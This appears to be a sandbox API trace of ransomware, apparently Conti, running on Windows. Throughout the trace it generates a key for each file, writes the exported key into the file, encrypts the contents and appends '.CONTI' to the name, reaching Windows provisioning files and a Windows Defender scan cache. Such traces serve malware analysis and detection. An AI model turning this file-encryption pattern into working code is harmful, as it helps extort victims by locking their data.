	[0114.120] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\705__connections_cellular_fastweb (italy)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\705__connections_cellular_fastweb (italy)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.121] GetProcessHeap () returned 0x1720000
	[0114.121] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.121] CryptDestroyKey (hKey=0x17c7d30) returned 1
	[0114.121] GetProcessHeap () returned 0x1720000
	[0114.121] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b55508 | out: hHeap=0x1720000) returned 1
	[0114.121] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0114.121] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b4bbd8 | out: phKey=0x6b4bbd8*=0x17c7cb0) returned 1
	[0114.121] CryptExportKey (in: hKey=0x17c7cb0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4bbdc, pdwDataLen=0x433f9bc | out: pbData=0x6b4bbdc*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0114.122] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\706__connections_cellular_fastweb (italy)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0114.122] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\706__connections_cellular_fastweb (italy)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0114.122] GetLastError () returned 0x0
	[0114.122] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=709) returned 1
	[0114.122] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c5
	[0114.123] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.123] SetEndOfFile (hFile=0x3d4) returned 1
	[0114.123] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.123] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.123] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4bbdc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b4bbdc*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0114.124] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.124] ReadFile (in: hFile=0x3d4, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2c5, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2c5, lpOverlapped=0x0) returned 1
	[0114.124] CryptEncrypt (in: hKey=0x17c7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2c5, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2d0) returned 1
	[0114.125] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.125] WriteFile (in: hFile=0x3d4, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.125] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.125] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4bbd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b4bbd0*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0114.125] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.125] CloseHandle (hObject=0x3d4) returned 1
	[0114.125] GetProcessHeap () returned 0x1720000
	[0114.125] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.125] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml"
	[0114.125] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml.CONTI"
	[0114.125] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\706__connections_cellular_fastweb (italy)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\706__connections_cellular_fastweb (italy)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0114.126] GetProcessHeap () returned 0x1720000
	[0114.126] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.126] CryptDestroyKey (hKey=0x17c7cb0) returned 1
	[0114.126] GetProcessHeap () returned 0x1720000
	[0114.126] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b56840 | out: hHeap=0x1720000) returned 1
	[0114.126] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0114.126] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b49758 | out: phKey=0x6b49758*=0x17c7cb0) returned 1
	[0114.126] CryptExportKey (in: hKey=0x17c7cb0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4975c, pdwDataLen=0x433f9bc | out: pbData=0x6b4975c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0114.127] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\707__connections_cellular_transatel (france)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.127] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\707__connections_cellular_transatel (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0114.127] GetLastError () returned 0x0
	[0114.127] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=711) returned 1
	[0114.127] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c7
	[0114.127] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.127] SetEndOfFile (hFile=0x3d4) returned 1
	[0114.128] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.128] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.128] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4975c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b4975c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0114.129] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.129] ReadFile (in: hFile=0x3d4, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2c7, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2c7, lpOverlapped=0x0) returned 1
	[0114.129] CryptEncrypt (in: hKey=0x17c7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2c7, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2d0) returned 1
	[0114.129] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.129] WriteFile (in: hFile=0x3d4, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.130] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.130] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b49750*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b49750*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0114.130] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.130] CloseHandle (hObject=0x3d4) returned 1
	[0114.130] GetProcessHeap () returned 0x1720000
	[0114.130] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.130] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml"
	[0114.130] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.130] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\707__connections_cellular_transatel (france)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\707__connections_cellular_transatel (france)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.131] GetProcessHeap () returned 0x1720000
	[0114.131] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.131] CryptDestroyKey (hKey=0x17c7cb0) returned 1
	[0114.131] GetProcessHeap () returned 0x1720000
	[0114.131] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b55278 | out: hHeap=0x1720000) returned 1
	[0114.131] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0114.131] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b4c4f8 | out: phKey=0x6b4c4f8*=0x17c7cb0) returned 1
	[0114.131] CryptExportKey (in: hKey=0x17c7cb0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4c4fc, pdwDataLen=0x433f9bc | out: pbData=0x6b4c4fc*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0114.132] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\708__connections_cellular_transatel (france)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0114.132] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\708__connections_cellular_transatel (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0114.132] GetLastError () returned 0x0
	[0114.132] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=713) returned 1
	[0114.132] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c9
	[0114.132] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.132] SetEndOfFile (hFile=0x3d4) returned 1
	[0114.132] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.132] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.133] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4c4fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b4c4fc*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0115.097] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.097] ReadFile (in: hFile=0x3d4, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2c9, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2c9, lpOverlapped=0x0) returned 1
	[0115.098] CryptEncrypt (in: hKey=0x17c7cb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2c9, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2d0) returned 1
	[0115.098] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.098] WriteFile (in: hFile=0x3d4, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2d0, lpOverlapped=0x0) returned 1
	[0115.098] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.098] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4c4f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b4c4f0*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0115.098] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.098] CloseHandle (hObject=0x3d4) returned 1
	[0116.242] GetProcessHeap () returned 0x1720000
	[0116.242] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0116.242] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml"
	[0116.242] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml.CONTI"
	[0116.242] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\708__connections_cellular_transatel (france)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\708__connections_cellular_transatel (france)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0116.961] GetProcessHeap () returned 0x1720000
	[0116.962] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0116.962] CryptDestroyKey (hKey=0x17c7cb0) returned 1
	[0116.962] GetProcessHeap () returned 0x1720000
	[0116.962] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b56090 | out: hHeap=0x1720000) returned 1
	[0116.962] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0116.962] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b51df0 | out: phKey=0x6b51df0*=0x6b7f3f8) returned 1
	[0116.962] CryptExportKey (in: hKey=0x6b7f3f8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51df4, pdwDataLen=0x433f9bc | out: pbData=0x6b51df4*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0116.962] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.a0")) returned 0x20
	[0116.963] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.a0"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0116.964] GetLastError () returned 0x0
	[0116.964] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=3510063) returned 1
	[0116.964] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x358f2f
	[0116.964] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.964] SetEndOfFile (hFile=0x398) returned 1
	[0116.965] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.965] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.965] WriteFile (in: hFile=0x398, lpBuffer=0x6b51df4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b51df4*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0116.967] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.967] ReadFile (in: hFile=0x398, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x358f2f, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x358f2f, lpOverlapped=0x0) returned 1
	[0118.769] CryptEncrypt (in: hKey=0x6b7f3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x358f2f, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x358f30) returned 1
	[0118.773] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
